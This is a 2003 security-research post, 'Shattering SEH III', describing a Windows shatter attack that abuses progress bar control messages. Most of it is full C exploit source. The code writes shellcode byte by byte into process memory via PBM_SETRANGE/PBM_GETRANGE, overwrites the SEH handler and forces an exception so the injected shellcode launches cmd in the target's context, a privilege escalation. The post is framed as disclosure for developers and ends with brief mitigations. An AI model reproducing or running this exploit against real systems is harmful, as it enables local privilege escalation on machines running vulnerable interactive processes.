Shattering SEH III

["Brett Moore" <brett.moore@xxxxxxxxxxxxxxxxxxxxxxx>]

============================================================================
= Shattering SEH III
=
= brett.moore@xxxxxxxxxxxxxxxxxxxxxxx
= http://www.security-assessment.com
=
= Originally posted: September 29, 2003
============================================================================

== Background ==

After we posted our first research post regarding overwriting SEH using
windows messages;
-archives.neohapsis.com/archives/vulnwatch/2003-q3/0059.html

Oliver Lavery posted about using the same technique against tab controls;
-downloads.securityfocus.com/vulnerabilities/exploits/mcafee-shatterseh2.c

Following is a sample program that demonstrates the same techniques been
used against the progress bar control. Although this method does work, we
were unable to find any 'system level' programs that had progress bars to
be exploited.

We are however releasing this so that developers of such programs are aware
that even non-interactive controls may be vulnerable to shatter type
attacks.

The code is almost identical except for the use of different messages which
we use to write our shellcode into a known writeable address. Then the SEH
handler is overwritten with the same address, and after causing an exception
the code is executed.

== Example Code ==
/***************************************************************************
* Progress Control Shatter exploit
*
* Demonstrates the use of Progress Control messages to;
* - inject shellcode to known location
* - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
* - tWindow is the title of the programs main window
* - sehHandler is the critical address to overwrite
* - shellcodeaddr is the data space to inject the code
*
* Local shellcode loads relevant addresses
* Try it out against any program with a progress bar
*
* Based on (and pretty much identical to)
*       mcafee-shatterseh2.c by
*   Oliver Lavery <oliver.lavery at sympatico.ca>
****************************************************************************
/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
// Local Cmd Shellcode.
BYTE exploit[] =
"\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD
1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";
char g_classNameBuf[ 256 ];
char tWindow[]="Checking Disk C:\\";// The name of the main window
long sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite
long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space
void doWrite(HWND hWnd, long tByte,long address);
void IterateWindows(long hWnd);
int main(int argc, char *argv[])
{
   long hWnd;
   HMODULE hMod;
   DWORD ProcAddr;
   printf("%% Playing with progress bar messages\n");
   printf("%% brett.moore@xxxxxxxxxxxxxxxxxxxxxxx\n\n");
   // Find local procedure address
   hMod = LoadLibrary("kernel32.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[13] = ProcAddr;
   hMod = LoadLibrary("msvcrt.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "system");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[26] = ProcAddr;

   printf("+ Finding %s Window...\n",tWindow);
   hWnd = (long)FindWindow(NULL,tWindow);
   if(hWnd == NULL)
   {
      printf("+ Couldn't Find %s Window\n",tWindow);
      return 0;
   }
   printf("+ Found Main Window At...0x%xh\n",hWnd);
   IterateWindows(hWnd);
   printf("+ Done...\n");
   return 0;
}
void doWrite(HWND hWnd, long tByte,long address)
{
   SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20));
   SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address);
}
void IterateWindows(long hWnd)
{
   long childhWnd,looper;
   childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
   while (childhWnd != NULL)
   {
      IterateWindows(childhWnd);
      childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
   }
   GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );
   if ( strcmp(g_classNameBuf, "msctls_progress32") ==0)
   {
          // Inject shellcode to known address
          printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
          for (looper=0;looper<sizeof(exploit);looper++)
                 doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + 
looper));
          // Overwrite SEH
          printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
          doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);
          doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
          doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);
          doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);
          // Cause exception
          printf("+ Forcing Unhandled Exception\n");
          SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1);
          printf("+ Done...\n");
          exit(0);
        }
}

== Example Vulnerable Programs ==

>From our testing, any interactive process that has an accessible
progress bar is vulnerable.

== Solutions ==

See the iDEFENSE paper for some good solution examples.
- Limit the interactive system processes
- Filter the messages accepted by interactive system processes

== Credit ==

Brett Moore from security-assessment.com

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